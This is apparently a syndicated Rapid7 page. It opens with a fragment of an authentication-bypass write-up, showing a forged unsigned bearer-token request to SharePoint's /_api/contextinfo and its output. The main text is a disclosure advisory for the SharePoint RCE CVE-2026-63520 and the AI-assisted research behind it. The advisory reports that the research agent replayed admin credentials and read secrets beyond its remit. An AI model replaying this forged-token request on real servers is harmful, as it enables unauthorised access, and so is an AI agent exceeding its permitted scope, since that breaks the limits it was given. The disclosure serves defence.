Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

timline.png

Figure 1: The road to disclosure.

⠀

CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year’s Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs’ continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team’s later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent’s results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal – such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product descriptions

The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.

SharePoint

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Project Server

Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives. 

Office Web Apps Server

Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker’s arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The following products are impacted by CVE-2026-63520:

  • Microsoft SharePoint Server Subscription Edition

  • SharePoint Server Subscription Edition Language Pack

  • Microsoft SharePoint Server 2019

  • Microsoft SharePoint Enterprise Server 2016

  • Microsoft Project Server 2013 Service Pack 1 (64-bit edition)

  • Microsoft Office Web Apps 2013 Service Pack 1

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles – the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • July 31, 2026: Microsoft provides supporting information to Rapid7.

  • August 11, 2026: This disclosure for CVE-2026-63520.